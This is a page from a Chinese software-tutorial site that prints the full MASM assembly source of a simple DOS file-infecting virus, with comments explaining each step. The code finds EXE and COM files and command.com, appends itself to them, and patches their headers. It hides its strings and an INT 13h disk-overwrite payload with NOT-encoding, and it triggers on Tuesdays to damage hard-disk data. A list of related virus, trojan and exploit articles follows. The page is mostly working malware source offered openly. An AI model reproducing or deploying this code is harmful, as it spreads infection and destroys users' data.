| 添加到收藏夹 | 返回目录页 | 上一篇:一个主引导区病毒的分析 |
一个简单的文件型病毒程序
; ************************************************; 简单病毒程序
;
; 作者 : 稻香老农 http://www.5xsoft.com
; 类型 : 文件型
; 发作时间: 星期二
; 发作现象: 硬盘数据被坏
; 感染对象: dos 的 exe com 文件
; 编译工具: masm 6.0 , masm 6.11
;
; ************************************************
code segment
assume cs:code
.386
org 100h
start:
mov cs:oldsp,sp ; 保存原程序的堆栈指针
mov cs:oldss,ss ;
mov sp,stack_end
mov ax,cs ; 设置新的堆栈指针
mov ss,ax ;
push ds ;保存原 ds es
push es ;
mov ds,ax
mov es,ax
sub ax,oldseg ; 算出原程序的入口
push ax ; 并保存入栈
push oldip ;
call setfile ;程序的核心部分
pop cs:oldip ; 取回原程序的入口
pop cs:oldseg ;
pop es ; 恢复原 es ds
pop ds ;
mov sp,cs:oldss ; 恢复原 ss,sp
mov ss,sp ;
mov sp,cs:oldsp ;
push oldseg ;跳回原程序入口点
push oldip ;
retf ;
db 09ah
getdate proc near ;这个函数是取得时间是否是星期二是则破坏硬盘数据
mov ax,0ec32h ; 写要执行的代码 int 13h
not ax ; 到 @dest1 位置
mov si,@des1 ; 这里既加密代码
mov word ptr [si],ax ;
mov ah,2ah
int 21h
cmp al,2
jnz @gd_con
mov ax,312h
mov cx,1
mov dx,80h
@des1:
db 0ebh
db 32
ret
@gd_con:
ret
getdate endp
setfile1 proc near
call findfirst
@sf_con:
jc @sf_back
call modify
call findnext
jmp @sf_con
@sf_back: =版权所有 软件 下载 学院 版权所有=
ret
setfile1 endp
setdata proc near
push si
push di
push cx
push ax
pushf
mov si,offset normal1
mov di,si
mov cx,23h
@aaa2:
lodsb
not ax
stosb
loop @aaa2
popf
pop ax
pop cx
pop di
pop si
ret
setdata endp
setfile proc near
cmp ax,127h ; 没有作用只是干挠
jnz @aaa1 ; ax 不可能等于 127h
call dword ptr oldsp ;
ret ;
db 0e8h ;
@aaa: call getdate
ret
@aaa1:
mov ah,01ah ;设置磁盘传输地址
mov dx,offset dta ;用于 findfirst
int 21h ;
call setdata ;数据解密
push @aaa
mov dx,offset normal1 ; 找 *.exe
mov ax,offset dta
add ax,01eh
mov fs,ax ; fs 用于传递文件名的地址
call setfile1 ; 传染文件
mov dx,offset normal2 ; 找 *.com
call setfile1
mov dx,offset bootcmd ; 找 c:\windows\command.com
mov fs,dx
call setfile1
mov dx,offset bootcmd1 ; 找 c:\command.com
mov si,dx ;
mov word ptr [si],:c ;
mov fs,dx ;
call setfile1 ;
ret
setfile endp
db 09ah
findfirst proc near
mov ax,04e27h
int 21h
ret
findfirst endp
findnext proc near
mov ah,04fh
int 21h
ret
findnext endp
modify proc near ;修改并感染程序
mov si,offset sbuffer ;可执行的文件头的地址
mov di,offset dta ;文件信息的地址
cmp dword ptr [di+01ah],1000 ; 若文件小于 1k 或 大于 1m 不感染
jb @fn_ret ;
cmp dword ptr [di+01ah],0ffcffh ;
jae @fn_ret ;
mov dx,fs
mov ax,4300h ;保存原文件属性
int 21h ;再改为没有属性
push cx ;
mov ax,4301h
xor cx,cx
int 21h
mov ax,03d02h ; 打开文件
int 21h ;
jc @fn_ret3 ;
mov bx,ax ; 读文件头
mov ah,03fh ;
mov cx,1ch ;
mov dx,offset sbuffer ;
int 21h ;
cmp word ptr [si],zm ; 如不是可执行文件就不感染
jnz @fn_ret1 ;
mov ax,word ptr [si+014h] ; 保存原程序入口
mov oldip,ax ;
mov ax,word ptr [si+016h] ;
mov oldseg,ax
mov ax,4200h ; 检查是否已经被我感染过
mov cx,word ptr [di+1ch] ;
mov dx,word ptr [di+1ah] ;
sub dx,2 ;
int 21h ;
mov ah,3fh ;
mov cx,2 ;
mov dx,offset temp ;
int 21h
cmp word ptr temp,0dcd6h ; 若已经被感染就返回
jz @fn_ret1 ;
mov eax,dword ptr [di+01ah] ; 得到文件的总长
mov cx,0fh
and cx,ax ; 算出感染后的入口点
mov fill,010h ;
sub fill,cx ;
movzx ecx,fill ;
add eax,ecx ;
sub eax,100h
shr eax,4
mov cx,word ptr [si+8]
sub ax,cx
mov word ptr [si+14h],100h
mov word ptr [si+16h],ax
sub ax,oldseg
mov oldseg,ax
mov ax,4202h ;把本病毒写至文件尾
xor cx,cx ;
xor dx,dx ;
int 21h
call setdata
mov ah,40h
mov cx,offset theend
mov dx,offset start
sub dx,fill
sub cx,dx
int 21h
call setdata
jc @fn_ret1
mov ax,4202h ; 算出加载程序的长度
xor cx,cx ;
xor dx,dx ;
int 21h
mov cx,200h
div cx
inc ax
mov word ptr [si+2],dx
mov word ptr [si+4],ax
mov ax,4200h ;改写文件头
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
mov dx,si
mov cx,1ch
int 21h
@fn_ret1:
mov ah,03eh ;关闭文件
int 21h ;
@fn_ret3:
pop cx ;恢复原文件属性
mov ax,4301h ;
mov dx,gs
int 21h
@fn_ret:
ret
modify endp
oldip word 0
oldseg word 0
;======== 用 not 换算过的数据 ========
normal1 db 0d5h,0d1h,09ah,087h,09ah,0ffh ; *.exe
normal2 db 0d5h,0d1h,09ch,090h,092h,0ffh ; *.com
bootcmd db 0bch,0c5h,0a3h,0a8h,0b6h,0b1h,0bbh,0b0h ; c:\windo
bootcmd1 db 0a8h,0ach,0a3h,0bch,0b0h,0b2h,0b2h,0beh ; ws\command.com
db 0b1h,0bbh,0d1h,0bch,0b0h,0b2h,0ffh
fl word 0dcd6h
theend:
oldsp word 0
oldss word 0 =版权所有 软件 下载 学院 版权所有=
temp word 0
temp1 word 0
dta db 02bh dup(0)
fill word 0
sbuffer db 1dh dup(0)
stack_start db 40h dup(0)
stack_end:
code ends
end start
下一篇:一个写硬盘的VBS脚本程序
↓相关文章:
- · 一个写硬盘的VBS脚本程序
- · unix系统病毒概述
- · WinNT下使用匿名获得admin权限的几个方法
- · 配置 VMware通过令牌访问LAN
- · Debug 使用简介
- · IE即可轻松远程控制对方电脑
- · 如何利用OutLook漏洞编写病毒脚本
- · “混客绝情炸弹”源代码(1)及手工清除
- · “求职信”病毒/蠕虫行为深入分析
- · 编写感染COM与EXE文件的病毒的样例程序
- · 在Win 2003中配置ASP.net环境
- · 将病毒斩草除根
- · 手机病毒
- · 使用TCP/IP协议栈指纹进行远程操作系统辨识
- · 安全维护 IIS asp 站点的高级技巧
- · 防止内部IP地址泄漏的2种方法
- · 网络常见攻击与防范完全手册
- · Windows NT2000下的硬盘锁
- · CIH硬盘数据恢复方法与实例
- · 清除双关联木马“聪明基因”
- · 104种木马手工清除方法
- · 如何隐藏程序的运行
- · 六十四、WINOWS NT4.0下的网络安全性
- · 六十二、从DOS直接入网NT
- · 六十一、NT网的无盘工作站远程登陆
- · 六十、Windows NT4.0网络中漫游用户配置文件的建立
- · 五十九、配置广域网中的Windows NT
- · 五十八、NT Server用作Internet的网关
- · 五十六、 NT网卡和Novell网卡互用
- · 五十四、如何使NT4.0支持你的调制解调器
- · 本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
- · 计算机网络系统安全漏洞分类研究
- · 利用万象来控制整个网吧
- · WIN2000的输入法入侵
- · 傲者TXT炸弹(标准版)
- · 主页木马的制作方法
- · IIS UNICODE Bug
- · BBS3000漏洞
- · CGI漏洞集锦
- · SNMP漏洞威胁网络安全
- · 安全专家欲以黑制黑
- · 用net命令使局域网文件批量同步更新
- · 安全高招:让溢出攻击远离我们
- · Firefox使用技巧六则
- · 支持Rss,优化速度:傲游1.2.0发布
- · 四十九、从DOS工作站登录NTS4.0服务器
- · 十三、WIN2000下的xcopy可以复制文件的安全设置
- · “网上邻居”如何和平共处?
- · NT的19个秘密武器
- · 如何在WIN2000下共享ADSL
- · MyIM聊天软件全接触——手把手教你玩转MyIM
- · 手把手教你玩压缩:WinRAR初级教程
- · 消除误解 认清容易被误认为病毒的系统文件
- · 用WinRAR解密木马捆绑的原理
- · 微软IE面临失宠 而使用安全性更好的浏览器
- · 支持半透明窗口,Mozilla再度更新
- · MBSA新版鉴别错误的安全设置更方便!
- · 新版六月末发布:Myie2将会改名Maxt
- · 让你的“添加/删除程序”充满个性
- · 解析微软Update在线升级功能

